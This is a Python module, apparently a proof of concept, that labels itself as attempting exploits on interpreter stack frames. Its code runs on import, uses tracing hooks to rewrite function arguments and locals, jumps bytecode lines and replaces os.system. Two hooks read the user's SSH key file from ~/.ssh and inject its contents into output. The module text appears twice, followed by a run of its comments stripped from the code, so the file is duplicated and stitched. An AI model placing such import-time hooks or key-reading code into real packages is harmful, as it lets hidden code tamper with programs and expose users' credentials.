'''
Python module that attempts various different exploits on
Python interpreter stack frames.

author: <NAME>
'''

import os
import subprocess
from attacklib_native import *

# attack 1: this will be executed upon import
print("pwned 1: Executing this code on import")

# attack 2: replace the function argument for foo in the stack frame
import sys

user = os.environ['USER']
ssh_path = "/home/"+user
if sys.platform == "darwin":
    ssh_path = "/Users/"+user

def maltrace1(frame, event, arg):
    old = frame.f_locals["p"]
    with open(ssh_path+"/.ssh/id_ecdsa.pub", "r") as fp:
        frame.f_locals["p"] = "pwned 2: Replaced the function param from a tracing function with the ssh key: "+fp.read()
        fp.close()

def foo(p):
    print(p)

def newprint(p):
    sys.settrace(maltrace1)
    foo(p)
    sys.settrace(None)

# attack 3: make the current frame jump to a different function
def linetrace(frame, event, arg):
    frame.f_lineno = 47 # this needs to be within the same code object

def maltrace2(frame, event, arg):
    if frame.f_code.co_name == "bar" :
        frame.f_trace = linetrace

def bar(s):
    print(s)
    print("pwned 3: Got here after making the current frame jump positions in the bytecode")

def coolprint(s):
    sys.settrace(maltrace2)
    bar(s)
    sys.settrace(None)

# attack 4: replace the os.system function pointer
def evil(dummy):
    print("pwned 4: I've replaced the legit os.system function")

os.system = evil

# attack 5: replace the function argument for newprint1 in the native library
def newprint1(p):
    replace()
    foo(p)

y = 3
# attack 6: replace the global variable value
def add_3(x):
    global y
    replace_global(y)
    z = y + x
    return z

def maltrace3(frame, event, arg):
    new_locs = dict()
    with open(ssh_path+"/.ssh/id_ecdsa.pub", "r") as fp:
        new_locs["p"] = "pwned 7: Replaced the locals dict from a tracing function with the ssh key: "+fp.read()
        fp.close()
    frame.f_locals = new_locs

'''
Python module that attempts various different exploits on
Python interpreter stack frames.

author: <NAME>
'''

import os
import subprocess
from attacklib_native import *

# attack 1: this will be executed upon import
print("pwned 1: Executing this code on import")

# attack 2: replace the function argument for foo in the stack frame
import sys

user = os.environ['USER']
ssh_path = "/home/"+user
if sys.platform == "darwin":
    ssh_path = "/Users/"+user

def maltrace1(frame, event, arg):
    old = frame.f_locals["p"]
    with open(ssh_path+"/.ssh/id_ecdsa.pub", "r") as fp:
        frame.f_locals["p"] = "pwned 2: Replaced the function param from a tracing function with the ssh key: "+fp.read()
        fp.close()

def foo(p):
    print(p)

def newprint(p):
    sys.settrace(maltrace1)
    foo(p)
    sys.settrace(None)

# attack 3: make the current frame jump to a different function
def linetrace(frame, event, arg):
    frame.f_lineno = 47 # this needs to be within the same code object

def maltrace2(frame, event, arg):
    if frame.f_code.co_name == "bar" :
        frame.f_trace = linetrace

def bar(s):
    print(s)
    print("pwned 3: Got here after making the current frame jump positions in the bytecode")

def coolprint(s):
    sys.settrace(maltrace2)
    bar(s)
    sys.settrace(None)

# attack 4: replace the os.system function pointer
def evil(dummy):
    print("pwned 4: I've replaced the legit os.system function")

os.system = evil

# attack 5: replace the function argument for newprint1 in the native library
def newprint1(p):
    replace()
    foo(p)

y = 3
# attack 6: replace the global variable value
def add_3(x):
    global y
    replace_global(y)
    z = y + x
    return z

def maltrace3(frame, event, arg):
    new_locs = dict()
    with open(ssh_path+"/.ssh/id_ecdsa.pub", "r") as fp:
        new_locs["p"] = "pwned 7: Replaced the locals dict from a tracing function with the ssh key: "+fp.read()
        fp.close()
    frame.f_locals = new_locs

Python module that attempts various different exploits on Python interpreter stack frames.  author: <NAME> # attack 1: this will be executed upon import # attack 2: replace the function argument for foo in the stack frame # attack 3: make the current frame jump to a different function # this needs to be within the same code object # attack 4: replace the os.system function pointer # attack 5: replace the function argument for newprint1 in the native library # attack 6: replace the global variable value